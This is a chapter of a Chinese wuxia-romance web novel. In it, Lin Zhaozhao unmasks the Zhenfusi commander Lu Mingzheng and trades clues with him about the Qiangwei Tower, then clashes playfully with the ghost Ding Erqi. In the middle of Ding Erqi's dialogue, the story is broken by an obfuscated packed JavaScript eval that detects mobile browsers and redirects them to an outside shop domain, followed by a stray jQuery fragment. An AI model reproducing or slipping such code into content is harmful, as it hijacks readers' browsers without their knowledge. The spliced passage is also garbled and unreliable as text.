“哦,也不知林姑娘是从何处看出来的?”
林昭昭从棋篓里拿出两颗棋子,左手腕为轴,击打在院外两棵树上,那两棵树上站着的,就是陆鸣筝派来监视林昭昭的暗卫。
“官宦人家府上,多半养着些自己的人手,姑娘即便是发现了他们的行迹,又从何推断出我是镇抚司的人呢?”
陆鸣筝也不反驳,他的身份恐怕在潘云楼时就叫林昭昭看穿,只是如今捅破了这层窗户纸,陆鸣筝也想看看,这林昭昭究竟要怎么圆上。
“大人再看。”
林昭昭又是几枚棋子脱手而出,那两名镇抚司的暗卫也知道自己暴露了形迹,接下林昭昭几枚棋子,飞身落在院中。
“这几位大人的身法,乃是出自既明派的踏星步,相传当年南骧镇抚司初立,立下的首功就是剿灭既明派,这些既明派的功法典籍,如今还在镇抚司的手里,既明派的功法如今大多失传,除了镇抚司,我想不到还有谁能走这踏星步。”
那两名暗卫入镇抚司的时日不短,没想到,他们的行迹竟会被这么一个丫头片子看穿,看穿也就罢了,还从他们的身法之中,看出了他们隶属镇抚司,两人连忙跪下,向陆鸣筝请罪。
“不仅如此,我还看出来,陆大人在镇抚司的职位恐怕不低,不然也不能调用司里的人手,为自己的私宅效力,让我想想,我眼前的这位,莫不是指挥使大人?”
陆鸣筝摆了摆手,示意那两名暗卫退下:“不错,我正是镇抚司指挥使,陆鸣筝。”
“既然姑娘想要打开天窗说亮话,那不如咱们就从刘慷讲起,刑部尚书刘大人这两日称病告假,就是自那夜陆某遇上姑娘始,我这两天缘着姑娘摔进潘云楼的路线走了一回,才发现刘大人的府邸明面上与潘云楼隔了几条街,实际上从西北院出来,翻过几座小楼,这就到了潘云楼了。”
林昭昭走到棋桌旁,在陆鸣筝的对面坐下:“要说这事,我倒想先问问大人,大人与我萍水相逢,却将我带入府上,究竟是对我这个人感兴趣,还是对蔷薇楼感兴趣。”
两人之间暗流涌动,等的就是谁先咬钩。
陆鸣筝撑开手中折扇,在掌中轻摇:“姑娘只需要知道,当年废皇长子萧行,就是因为与既明派掌门私交过甚,以至于将既明派纳为私兵,这才有后来萧行叛国,令我骧国失去半壁江山的事,举国上下,最不愿意见江湖与朝堂瓜葛的,就是皇帝陛下,而陛下的意思,自然就是我镇抚司的意思。”
“大人这么说,就是知道蔷薇楼暗中勾结朝廷重臣,为江湖门派与朝堂牵线搭桥的事了?”
“虽有些线索,但还未有实证。”
若陆鸣筝所言属实,那在面对蔷薇楼一事上,两人倒是立场相同,林昭昭拿起桌面上早就凉透的茶,喝了一口,如果真能将陆鸣筝拉到一条船上,那她和白皎查起蔷薇楼来,也算事半功倍。
林昭昭放下茶杯,郑重地对陆鸣筝开口:“陆大人,蔷薇楼暗中掳掠江湖女子,送到刘慷府上,以做炉鼎之用,正如大人所料,我当日正是从刘慷府上逃出,为了躲避追杀,这才逃入潘云楼内。”
从皇家的立场来看,江湖确实是一只难以控制,但却有一定威胁的武装力量,若是被有心之人利用,很可能就沦为动摇国本的私兵,从这一点上,林昭昭相信陆鸣筝作为镇抚司维护皇权的立场。
可是陆鸣筝其人亦正亦邪,要全然信任他,林昭昭也做不到。
最好的办法,就是半遮半吐,引导他为己所用。
“我已经收到消息,青羊谷老谷主去信当今武林盟主,不孤山掌门卓凡,要求他派人详查蔷薇楼内掳掠江湖女子一案,过不了几日,各大派大概就会派人进京,姑娘住在我府上,想必也是在等他们的消息。”
林昭昭点了点头:“正是。”
“那姑娘可知道,与刘慷联络的,究竟是何门何派?”
当日在刘慷府上,林昭昭获取的情报不多,可唯有其中一条,让她放在心上:“当日我在刘慷府上,听到刘慷与蔷薇楼的人对话,提到了一个叫做海宁的地方,要想揪出蔷薇楼背后的东家,只怕还要从海宁查起。”
海宁镇。
海宁镇地处东海之滨,是一个海边小镇,若非镇抚司里有暗卫正是海宁出身,陆鸣筝也不曾听说过这个小镇,皇上已经有意要派遣钦差沿东海南巡,详查各州盐铁贸易,蔷薇楼的人在此时提到海宁,大概那里正有什么不可告人的事。
陆鸣筝起了身,他想从林昭昭身上套出来的消息,到这里也就差不多了:“刘慷的府上我会派人盯着,姑娘好计策,这刘慷如今垂死挣扎,必然会与蔷薇楼联络,虽然未必能钓出幕后操纵之人,但捕上来鱼虾多了,难保就有哪条吐了口。”
陆鸣筝走到院门前,想了一想,回头对林昭昭说:“如今江湖门派虽收到风声,可难保立场一致,姑娘作为此案的证人,还是先隔岸观火,看看形势,不着急露面的好,至于姑娘在京里的同伴,如今蔷薇楼的人正盯着我的府上,为他的安全计,暂且不要向他传递消息的好。”
“多谢大人提点。”
他们两人一场交锋,丁二七就从旁看着,也不知为何,知道了这陆鸣筝的底细和意图之后,他的心似乎放下了不少,林昭昭见陆鸣筝出了偏院,便来到丁二七的跟前。
“终于肯现身了,是不生我的气啦?”
丁二七偏过头:“不曾生姑娘的气,只是见姑娘以身犯险,有些焦急罢了。”
林昭昭咧嘴一笑:“我就说嘛,我丁哥一百多岁的人了,跟我一个小丫头较什么劲,你看看,我住进来三日了,不但连汗毛都没有少一根,还为自己捞了座大佛做靠山,你就放心吧。”
“你捞来的这座,未必是座大佛,是座凶神也未可知,方才听你们俩的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460512|141700||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
对话,既明派同镇抚司之间似有血仇,你如今同镇抚司的人混在一处,来日叫他知道了你的身份,是敌是友,可就不好说了。”
林昭昭竖起一根食指,在丁二七的脸前轻轻一挥:“我师父常说,人死债消,既明派的前尘往事,不应该成为我身上的负担,镇抚司的人,也是奉皇命行事,这事并非是他们个人的过错,我就是要寻仇,也寻不到他们头上。
自然,对于他们来说,我也是一样,当初骧国南下,账应该算在萧行这个叛贼头上,我师祖错信了人,也以命相抵,了此血债,这么多年过去了,既明派的江湖地位早已不同往日,面对这么一个小门小户,镇抚司又何必痛打落水狗。”
丁二七闻言失笑:“怎么有人把自己比作落水狗的。”
“落水狗怎么了,这落水狗难道就没有上岸的一天?我林昭昭这一生,没有什么重振师门的宏图大志,但也绝不会给既明派丢人,我活着一日,就行一日的好事,或许有那么些人,因为我做过的事,提起既明派时,想到的不是既明派曾追随萧行,做了他叛国的同党,而是惩恶扬善,行侠仗义。”
说这段话时,林昭昭的眼里是亮闪闪的,这就是生和希望迸发出的光芒,丁二七没能控制住自己,伸手捻了一个诀,婚书的魂火在林昭昭头顶燃起,丁二七的手向林昭昭处一带,带出了她的生魂,他把手轻轻的放在林昭昭的头上,顺着她的长发,抚过她的头顶。
林昭昭还来不及反应,就叫丁二七逼着魂魄离体,她正要与丁二七算账,一抬头却对上丁二七的眼睛。
在这双眼睛里,林昭昭看见了什么呢?是亲昵、呵护、和快要溢出来的一腔柔情。
只是这一眼,林昭昭本来就在嘴边的诘问都已经忘了个干净,只是丁二七揉了揉她的头发后,却再也没有下一步的动作。
丁二七一时忘情,手上的动作比脑子要快,如今反应过来,正不知如何收场,他虽是死魂,但也虚长了林昭昭百余岁,再怎么迟钝,他此时也反应过来,自己对林昭昭,这是动了情了。
林昭昭见丁二七不动,想着这么僵持下去也不是个办法,正欲开口打破僵局,话还没说出口,丁二七又是一掌,将她送回了肉身之中。
不仅如此,就连丁二七本人,也消失了个无影无踪。
“好你个丁二七,从前还装得像个正人君子,一口一个“在下唐突”,如今长本事了,要本姑娘魂魄离体就离体,要送回来就送回来是不是,你有本事别给我玩消失,你如今戏弄我,等有朝一日本姑娘死了,一天锤你一次!”
“什么死不死的,别说这不吉利的话。”
丁二七虽然出言,却仍旧不肯现身。
“是个好汉就别给我藏头露尾的,快把本姑娘的魂魄送出去,我今天不让你知道知道本姑娘的厉害,我就不姓林!”
这回,丁二七连声音都不肯再出了。